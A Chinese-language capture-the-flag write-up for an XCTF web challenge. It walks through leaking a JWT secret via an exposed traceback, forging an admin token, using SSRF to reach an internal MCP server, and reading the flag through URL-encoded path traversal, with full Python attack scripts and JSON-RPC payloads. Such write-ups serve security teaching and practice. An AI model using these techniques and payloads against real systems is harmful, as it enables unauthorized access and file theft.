给了附件,代码审计

是一个使用了FastAPI的应用,使用JWT认证,管理员有权限用/admin/nettools路由访问本地服务

先越权,审计负责认证的security.py,发现verify_token有问题:

def verify_token(token: str) -> TokenData:
    print(f"Token to verify: {token}")

    try:
        SECRET_KEY = "secretkey" if len(token) <= 2048 else base64.b64decode(token[:2048])
    except Exception:
        raise HTTPException(
            status_code=status.HTTP_500_INTERNAL_SERVER_ERROR, 
            detail=f"Token custom check failed: {traceback.format_exc()}"
        )

    try:     
        payload: dict[str, Any] = jwt.decode(token, settings.SECRET_KEY, algorithms=[settings.ALGORITHM])

        username: str = payload.get("sub")

        if username is None:
            raise HTTPException(status_code=status.HTTP_401_UNAUTHORIZED, detail="Invalid token: 'sub' missing")

        is_admin = (username == settings.ADMIN_USERNAME)

        return TokenData(username=username, is_admin=is_admin)

    except jwt.PyJWTError:
        raise HTTPException(status_code=status.HTTP_401_UNAUTHORIZED, detail="Invalid token: signature or expiration failed")
SECRET_KEY = "secretkey" if len(token) <= 2048 else base64.b64decode(token[:2048])
//token超过2048个字符就将SECRET_KEY赋为token前2048个字符的base64解码

这一行像故意留的后门,然而SECRET_KEY从未被使用,下面jwt.decode的密钥还是settings.SECRET_KEY,这是一个假密钥,真正的key不会被更改

到这里可能会觉得没有利用空间,但是except里的traceback.format_exc向客户端暴露完整的异常信息,这是经典的危险行为

PS:traceback.format_exc是Python的一个内置函数,它能获取当前正在处理的异常的完整信息,输出完整的堆栈跟踪(包括导致异常的所有函数调用路径)

detail=f"Token custom check failed: {traceback.format_exc()}"

如果触发报错,就能获取异常信息,可能有密钥泄露

base64.decode调的是binascii.a2b_base64,众所周知base解码不是4的倍数会报错,但截的是前2048个字符

进入decode函数,注释上说默认情况(validate is False)会忽略base64非法字符

由此构造payload使报错:

("A" * 2047) + "!" + ("B" * 100)

喂AI写脚本:

import requests
import re

# === 配置目标 ===
# 请替换为你本地运行的端口或目标地址
TARGET_URL = "http://web-1d05d8b8ad.challenge.xctf.org.cn/admin/nettools" 

def extract_secret_key():
    print(f"[*] 正在攻击目标: {TARGET_URL}")
    malformed_token = ("A" * 2047) + "!" + ("B" * 100)

    # 构造 cookies
    cookies = {
        "access_token": f"Bearer {malformed_token}"
    }

    try:

        response = requests.get(TARGET_URL, cookies=cookies, timeout=5)

        print(f"[*] 服务器响应状态码: {response.status_code}")

        if response.status_code == 500:
            content = response.text
            print(f"[*] 服务器响应文本:{content}")

    except Exception as e:
        print(f"[-] 请求发生错误: {e}")

if __name__ == "__main__":
    extract_secret_key()

运行得到key:RDbiBrgdR#CrdZVW

用config给的游客账户登录,伪造JWT越权,登入/admin/nettools:

接下来打SSRF,访问127.0.0.1放instruct里爆破常用端口top100,得到5000和9000上有服务,5000会307重定向到/login,应该只有9000能利用

最开始显示Invalid Content-Type header,改请求头为Content-Type: application/json

返回406错误:{“jsonrpc”:“2.0”,“id”:“server-error”,“error”:{“code”:-32600,“message”:“Not Acceptable: Client must accept both application/json and text/event-stream”}}

再加上请求头"Accept": “application/json, text/event-stream”,成功访问:

mcp-session-id是MCP(模型上下文)协议的指纹,这是一个与AI模型交互的协议

搜索到MCP有三种实现:Tools Resources Prompts

需要进行信息收集,列出可能的利用方式

查找MCP协议的官方文档(https://modelcontextprotocol.io/docs/getting-started/intro)

列工具:

脚本(后续payload换JSON-RPC即可):

import requests
import json
import html

TARGET_URL = "http://web-1d05d8b8ad.challenge.xctf.org.cn/admin/nettools"
MCP_SERVICE_URL = "http://127.0.0.1:9000"


ACCESS_TOKEN = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJhZG1pbiIsImV4cCI6MTc2NjY1MDA1NX0.7y01GkLXe8nd2u4vgS-pC3PEYcAPrcGjS-Ai7Q0QTew"

def send_ssrf_request():
    # 构造JSON-RPC请求
    jsonrpc_request = {
        "jsonrpc": "2.0",
        "id": 1,
        "method": "tools/list",
        "params": {
            "cursor": "optional-cursor-value"
  }
}

    # 构造表单数据
    form_data = {
        "http_method": "POST",
        "http_url": MCP_SERVICE_URL,
        "http_headers": json.dumps({
            "Content-Type": "application/json",
            "Accept": "application/json, text/event-stream",
            "mcp-session-id": "81b9372e004f4285a3a2424aac650370"
        }),
        "http_body": json.dumps(jsonrpc_request)
    }
    
    # 构造请求头
    headers = {
        "Content-Type": "application/x-www-form-urlencoded",
        "Upgrade-Insecure-Requests": "1",
        "User-Agent": "NetTool-Client",
        "Accept": "text/html,application/json",
    }

    
    try:
        # 构造访问/admin/nettools所需的Cookie
        cookies = {
            "access_token": f"Bearer {ACCESS_TOKEN}"
        }
        
        # 发送请求到/admin/nettools,带上必要的Cookie
        response = requests.post(TARGET_URL, data=form_data, headers=headers, cookies=cookies, timeout=10)
        
        # 提取output-box内的内容
        import re
        output_match = re.search(r'(<div class="output-box">[\s\S]*?</div>)', response.text)
        if output_match:
            output_content = output_match.group(1)
            
            # 解码Body里的HTML转义字符
            decoded_output = html.unescape(output_content)
            
            return decoded_output
        else:
            return "未找到output-box内容"
    except Exception as e:
        return f"请求失败: {e}"

# 使用示例
if __name__ == "__main__":
    response_text = send_ssrf_request()
    print(response_text)

有welcome_message和calculate_sum两个工具,没有什么用

列提示词:

得到where_is_flag:

{
  "jsonrpc": "2.0",
  "id": 1,
  "result": {
    "prompts": [
      {
        "name": "where_is_flag",
        "description": "Where is the flag located?",
        "arguments": [
          {
            "name": "name",
            "required": true
          }
        ],
        "_meta": {
          "_fastmcp": {
            "tags": []
          }
        }
      }
    ]
  }
}

找文档上的prompts/get调用where_is_flag

{
  "jsonrpc": "2.0",
  "id": 2,
  "method": "prompts/get",
  "params": {
    "name": "where_is_flag",
    "arguments": {
      "name": ""
    }
  }
}

返回:flag is in /root/1ffflllaaaggg

想直接用resources/read读file://,不通,读资源模板:

返回:

{
  "jsonrpc": "2.0",
  "id": 3,
  "result": {
    "resourceTemplates": [
      {
        "name": "get_file_base64",
        "uriTemplate": "base64://tmp/{filename}",
        "description": "Get the /tmp file in base64 encoding.",
        "mimeType": "text/plain",
        "_meta": {
          "_fastmcp": {
            "tags": []
          }
        }
      }
    ]
  }
}

用这个base64://tmp/{filename}模板读flag,因为是从/tmp开始读,用目录穿越:

{
  "jsonrpc": "2.0",
  "id": 13,
  "method": "resources/read",
  "params": {
    "uri": "base64://tmp/../root/1ffflllaaaggg"
  }
}

返回"Unknown resource: ‘base64://tmp/root/1ffflllaaaggg’"},说明过滤了./,并发现/也被过滤

url编码绕过,最终payload

{
  "jsonrpc": "2.0",
  "id": 13,
  "method": "resources/read",
  "params": {
    "uri": "base64://tmp/..%2froot%2f1ffflllaaaggg"
  }
}

读到ZmxhZ3tNcnd1aDBDVFlTd21Lb2U4NDZDV1owbGxhdUZYV1ByU30K

解码得flag:flag{Mrwuh0CTYSwmKoe846CWZ0llauFXWPrS}

Logo

有“AI”的1024 = 2048,欢迎大家加入2048 AI社区

更多推荐